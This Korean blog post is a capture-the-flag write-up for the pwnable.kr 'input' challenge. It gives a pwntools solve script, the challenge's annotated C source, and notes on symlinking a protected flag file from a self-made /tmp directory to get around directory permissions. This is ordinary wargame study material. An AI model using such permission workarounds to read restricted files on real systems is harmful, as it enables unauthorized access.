from pwn import *
# stage1
argv2 = ["" for i in range(100)]
argv2[ord("A")] = "\x00" # argv2[65]
argv2[ord("B")] = "\x20\x0a\x0d" # argv2[66]
argv2[ord("C")] = "33333" # for stage5
# stage2
with open("./stderr", "a") as f:
f.write("\x00\x0a\x02\xff")
# stage3
envVal = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
# stage4
with open("./\x0a", "a") as f:
f.write("\x00\x00\x00\x00")
p = process(executable="/home/input2/input", argv=argv2, stderr=open("./stderr"),
env=envVal)
# stage2
p.send("\x00\x0a\x00\xff")
# stage5
r = remote("localhost", 33333)
r.send("\xde\xad\xbe\xef")
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
// 배열 만들어 인자로 전달
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
// stdin은 그냥 send() 하면 되고 stderr는 파일로 만들어 인자로 전달
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
// 배열 만들어서 인자로 전달
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
// size_t fread ( void * base, size_t size, size_t count, FILE * fp); 파일 스트림에서 데이터를 읽는 함수
// base: 데이터 읽어올 버퍼, size 크기의 데이터를 count번 읽어옴, fp 파일 스트림을 통해, 리턴값은 읽어온 데이터 개수(여기선 1)
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
// IPv4 프로토콜 사용하고 (AF_INET, PF_INET)
// TCP/IP 프로토콜 사용하는 (SOCK_STREAM) 소켓 생성
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
// 소켓에 주소와 포트 할당 위해 sockaddr_in 구조체 활용
// AF_INET: IPv4 프로토콜 사용한다
// INADDR_ANY: 32bit IPv4 주소 사용한다
// htons( atoi[argv['C'] ): 사용할 포트번호는 argv['C']에서 가져옴
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
// bind 함수를 이용하여 생성한 소켓을 커널의 server socket으로 등록
// 이제 커널이 소켓 이용해 외부로부터 자료 수신 가능
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
// listen(): server socket 통해 클라이언트 접속 요청 가능 상태로 만듦
listen(sd, 1);
// accept(): 클라이언트 접속 요청 대기 및 수락
// 에러 없으면 클라이언트와 통신 위해 새로운 소켓 자동 생성됨(client socket), 이 정보를 cd로 받아옴
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
// 데이터 송수신 가능
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
// 걍 스테이지 순서대로 통과하면 되네
// pwntools process로 전달할 수 있는 인자가 진짜 많구나
// https://docs.pwntools.com/en/stable/tubes/processes.html
// argv, executable, env, stdin, stdout, stderr 등등 전달 가능
// 당연히 원격 접속 환경에서 이 파일 만든 뒤 실행해야겠지
// input2 디렉토리에서는 touch, echo, cat 모두 안 먹힘
// ls -al 해보니 input2 디렉토리 권한 drwxr-x--- (소유주는 root, 나는 input2, write 권한이 없네)
// ../ (/home/)에는 others가 wx 권한있는 디렉토리가 없음
// ../../ (/) 확인해보니 /tmp 디렉토리만 others에게 -wt 권한 있음!!
// Sticky bit(t): 디렉터리 or파일 소유자 제외하고는 삭제/이름변경 x
// /tmp 디렉토리 아래 나만의 디렉토리를 만든다 (tmp에서는 read 권한 없으므로 플래그 파일 심볼릭 링크 만들더라도 cat 불가능, 새로 만든 디렉터리는 우리가 소유자이므로 rwx 권한 다 있다 )
// exploit.py 만든다 : echo '~' > exploit.py
// flag 파일의 심볼릭 링크도 만든다! (if not, flag가 해당 폴더에 없으므로 system("/bin/cat flag")에서 프로그램 종료됨)
// ln -s /home/input2/flag flag (하드링크는 권한땜에 생성불가)
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Toddler's Bottle] lotto (0) | 2023.02.05 |
---|---|
pwnable.kr - [Toddler's Bottle] leg (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] horcruxes (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] flag (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] fd (0) | 2023.02.05 |